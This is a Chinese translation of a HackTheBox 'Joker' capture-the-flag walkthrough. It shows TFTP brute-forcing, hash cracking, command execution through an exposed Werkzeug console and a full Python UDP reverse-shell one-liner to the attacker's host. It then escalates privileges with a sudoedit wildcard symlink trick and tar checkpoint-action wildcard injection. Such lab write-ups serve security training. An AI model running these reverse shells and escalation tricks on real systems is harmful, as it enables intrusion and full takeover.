一个渗透实例(2)

这可能是我在hackthebox上享受的第一个硬盘盒。里面大部分内容使我很快可以完成整个过程,强烈推荐。

初始枚举

启动nmap来快速扫描

root@kali:~/htb/joker# nmap -sV 10.10.10.21

Nmap scan report for joker (10.10.10.21)

Host is up (0.066s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)

3128/tcp open http-proxy Squid http proxy 3.5.12

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ssh通常没有问题,除非它是一个严重过时的版本,所以我们来看看3128端口,这似乎是一个squid代理,我们尝试通过浏览器代理,看看我们可以得到什么。

退出设置后我们收到以下消息:

我尝试了几个简单的密码,但运气不好。还有一个名为NMAP NSE Script的http-proxy-bruteforce密码。也没有成功。

我们重新运行nmap来扫描所有TCP端口,同时做一个基本的UDP扫描,看看是否有其他服务打开。

root@kali:~/htb/joker# nmap -sU 10.10.10.21

Starting Nmap 7.50 ( https://nmap.org ) at 2017-12-29 14:46 EST

Initiating Ping Scan at 14:46

Scanning 10.10.10.21 [4 ports]

Completed Ping Scan at 14:46, 0.23s elapsed (1 total hosts)

Initiating UDP Scan at 14:46

Host is up (0.067s latency).

Not shown: 998 closed ports

PORT STATE SERVICE

69/udp open|filtered tftp

5355/udp open|filtered llmnr

UDP扫描结果显示69端口TFTP服务开启,由于无法在TFTP服务器中列出文件,因此查找文件的唯一方法是破解它们,幸运的是Metasploit有一个模块可以为我们做到这一点。

我们加载tftpbrute模块,查看我们的选项,将RHOSTS设置为joker的IP,并加载我们自己的字典文件。可以看到我们在运行一分钟后得到了密码,太好了!让我们从joker那儿看看,看看里面有什么。

root@kali:~/htb/joker# tftp 10.10.10.21

tftp> get passwords

Received 48 bytes in 0.0 seconds

tftp> quit

root@kali:~/htb/joker# cat passwords

kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0

看起来我们像在做生意,我们有一个似乎是代理用户的散列。继续看看我们要将什么样的散列输入到hashcat中。

我直接在Windows机器上运行hashcat,也有办法让它在Kali中运行,让我们运行hashcat,查看我们是否可以找到MD5(APR)的选项,并破解哈希。

我们找到用户名kalamari的密码为ihateseafood。浏览到本地主机或127.0.0.1输入我们新发现的凭证后,我们看到了一个网页。

在测试网页之后,我们可以用它做很多事情。让我们看看是否可以用dirb找到其他页面。

root@kali:~/htb/joker# dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -r

-----------------

DIRB v2.22

By The Dark Raver

-----------------

START_TIME: Fri Dec 29 15:27:52 2017

URL_BASE: http://127.0.0.1/

WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

PROXY: 10.10.10.21:3128

PROXY AUTHORIZATION: kalamari:ihateseafood

OPTION: Not Recursive

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://127.0.0.1/ ----

http://127.0.0.1/console (CODE:200|SIZE:1479)

==> DIRECTORY: http://127.0.0.1/list/

-----------------

END_TIME: Fri Dec 29 15:33:08 2017

DOWNLOADED: 4612 - FOUND: 1

看起来我们已经找到了一个python控制台。我们来开始利用。

利用

在这里有几种不同的运行命令方式,因为这个控制台是单线程的,如果你以某种方式运行命令,如果有其他人正在使用它,控制台将会被锁定。这真的不应该成为一个问题,现在这个控制台已经不用很久了,而且体积很小,但是作为一个好的练习方式你应该使用。让我们尝试验证命令执行

[console ready]

>>> import subprocess

>>> subprocess.check_output(['id'])

'uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)\n'

我试了一种常规的Python shell但没有反应。也无法通过wget下载文件。看起来防火墙可能会阻止连接。我们发现iptables的规则位于/etc/iptables/rules.v4

>>> subprocess.check_output(['cat','/etc/iptables/rules.v4'])

'# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017\n*filter\n:INPUT DROP [41573:1829596]\n:FORWARD ACCEPT [0:0]\n:OUTPUT ACCEPT [878:221932]\n-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT\n-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT\n-A INPUT -i ens33 -p udp -j ACCEPT\n-A INPUT -i ens33 -p icmp -j ACCEPT\n-A INPUT -i lo -j ACCEPT\n-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP\nCOMMIT\n# Completed on Fri May 19 18:01:16 2017\n'

我们来清理一下格式。

# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017

*filter

:INPUT DROP [41573:1829596]

:FORWARD ACCEPT [0:0]

:OUTPUT ACCEPT [878:221932]

-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT

-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT

-A INPUT -i ens33 -p udp -j ACCEPT

-A INPUT -i ens33 -p icmp -j ACCEPT

-A INPUT -i lo -j ACCEPT

-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP

COMMIT

# Completed on Fri May 19 18:01:16 2017

好的,我们可以在输出线上看到任何新的出站TCP连接都被删除。那么shell还有其他选项吗?好吧,碰巧有人已经用Python在这里制作了一个UDP反向shell。在这个之前,我不知道能否成功。我们无法使用netcat来捕获UDP外壳,所以我们不得不使用soc中的python脚本。在设置我们的监听器之后,然后在控制台中运行我们的shell。

>>> import subprocess

>>> subprocess.Popen(["python", "-c", 'import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(("10.10.14.10", 100)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv("HISTFILE","/dev/null"); pty.spawn("/bin/bash"); s.close();'])

kali:~/htb/joker# socat file:`tty`,echo=0,raw udp-listen:100

werkzeug@joker:~$ id

uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)

继续前进是值得养成的一个好习惯,并在获得shell之后产生一个tty。我们在这里用python来做到这一点。

werkzeug@joker:~$ python -c 'import pty; pty.spawn("/bin/bash")'

权限提升

不幸的是,我们无法在alekos的主目录中获取user.txt,因此我们需要权限提升。让我们看看我们当前的用户是否具有sudo权限。

werkzeug@joker:/home/alekos$ sudo -l

Matching Defaults entries for werkzeug on joker:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,

sudoedit_follow, !sudoedit_checkdir

User werkzeug may run the following commands on joker:

(alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html

编辑layout.html文件对我们没有多大帮助,但星号看起来很有趣,可能有一种方法可以利用这些通配符。这恰好就是我们所能做的。

https://www.exploit-db.com/exploits/37710/

链接里的文章说,漏洞利用时,如果使用两次通配符,sudoedit不会检查完整路径。因此,为了利用它,他们创建了一个指向的符号链接/etc/shadow。这样做对我们来说不能完全利用,因为我们只具有sudoedit权限,而不是root。因此,我们可以做的是创建一个符号链接到alekos ssh授权密钥文件并编辑文件以添加到我们的公共ssh密钥中。

首先我们需要创建一个目录/var/www/,我们来检查权限。

werkzeug@joker:/home/alekos$ cd /var/www

werkzeug@joker:~$ ls -al

total 20

drwxr-xr-x 4 root root 4096 May 18 2017 .

drwxr-xr-x 14 root root 4096 Oct 23 2016 ..

-rwxr-x--- 1 root werkzeug 581 May 18 2017 manage-shorty.py

drwxr-x--- 5 root werkzeug 4096 May 18 2017 shorty

drwxr-xr-x 2 werkzeug werkzeug 4096 May 18 2017 testing

看起来测试目录能很好的工作。

werkzeug@joker:~$ cd testing

werkzeug@joker:~/testing$ ls

layout.html

原来的layout.html是由sudoedit编辑的。我们需要在这里创建另一个目录来利用第二个通配符。然后创建我们的符号链接。

werkzeug@joker:~/testing$ mkdir test

werkzeug@joker:~/testing$ cd test

werkzeug@joker:~/testing/test$ ln -s /home/alekos/.ssh/authorized_keys layout.html

werkzeug@joker:~/testing/test$ ls -al

total 8

drwxrwxr-x 2 werkzeug werkzeug 4096 Dec 31 01:02 .

drwxr-xr-x 3 werkzeug werkzeug 4096 Dec 31 01:01 ..

lrwxrwxrwx 1 werkzeug werkzeug 33 Dec 31 01:02 layout.html -> /home/alekos/.ssh/authorized_keys

我们的符号链接已到位。让我们编辑并放置我们的公共ssh密钥。

werkzeug@joker:/$ sudoedit -u alekos /var/www/testing/test/layout.html

现在我们可以使用ssh了。

现在我们可以抓取user.txt。

权限提升

我们已经克服了不少障碍,但由于我们尚未获得root shell,在主目录里面有两个有趣的东西,development和backup。backup是一个文件夹,其中包含development基于时间戳每五分钟运行的文件夹备份。我们也可以看到tar文件是由root拥有的。

alekos@joker:~$ ls -al

total 116

drwxr-xr-x 7 alekos alekos 4096 May 19 2017 .

drwxr-xr-x 3 root root 4096 May 16 2017 ..

drwxrwx--- 2 root alekos 73728 Dec 31 01:20 backup

-rw------- 1 root root 0 May 17 2017 .bash_history

-rw-r--r-- 1 alekos alekos 220 May 16 2017 .bash_logout

-rw-r--r-- 1 alekos alekos 3771 May 16 2017 .bashrc

drwx------ 2 alekos alekos 4096 May 17 2017 .cache

drwxr-x--- 5 alekos alekos 4096 May 18 2017 development

drwxr-xr-x 2 alekos alekos 4096 May 17 2017 .nano

-rw-r--r-- 1 alekos alekos 655 May 16 2017 .profile

drwxr-xr-x 2 alekos alekos 4096 May 20 2017 .ssh

-r--r----- 1 root alekos 33 May 19 2017 user.txt

alekos@joker:~$ cd backup

alekos@joker:~/backup$ ls -al

total 67640

drwxrwx--- 2 root alekos 73728 Dec 31 01:20 .

drwxr-xr-x 7 alekos alekos 4096 May 19 2017 ..

-rw-r----- 1 root alekos 40960 Dec 25 04:25 dev-1514168701.tar.gz

-rw-r----- 1 root alekos 40960 Dec 25 04:30 dev-1514169001.tar.gz

-rw-r----- 1 root alekos 40960 Dec 25 04:35 dev-1514169301.tar.gz

-rw-r----- 1 root alekos 40960 Dec 25 04:40 dev-1514169601.tar.gz

-rw-r----- 1 root alekos 40960 Dec 25 04:45 dev-1514169901.tar.gz

在检查cron作业之后,没有发现正在运行这些备份的信号。经过一段时间的思考之后,似乎合乎逻辑的是,备份如何运行tar cf *。然而,我们可以利用另一个通配符。恰巧我在Vulnhub盒子上工作时遇到过这个问题。

有关如何操作的详细说明,请点击https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt。

简单的解释是我们可以将选项和参数注入,通过命名这些选项/参数的文件运行的tar命令中。通配符会将文件名处理为实际的命令行选项并运行它们。

我们将要使用的选项是--checkpoint和--checkpoint-action。使用tar,您可以指定检查点和每个运行命令的检查点操作。所以我们所要做的就是设置检查点操作来运行另一个python UDP shell。

我们来展示我们的shell。

alekos@joker:~/development$ nano udpshell.py

alekos@joker:~/development$ chmod x udpshell.py

创建我们的文件。请注意,您必须使用--表示命令选项的结尾,以便正确地创建文件名。

alekos@joker:~/development$ touch -- --checkpoint=1

alekos@joker:~/development$ touch -- '--checkpoint-action=exec=python udpshell.py'

启动监听并等待工作运行。

root@kali:~/htb/joker# socat file:`tty`,echo=0,raw udp-listen:100

root@joker:/home/alekos/development# id

uid=0(root) gid=0(root) groups=0(root)

root@joker:/home/alekos/development#

现在我们已经有了我们的root shell!

文章出处:https://www.sploitspren.com,由华盟网翻译排版,转载请注明华盟网

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180301B0GLWB00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券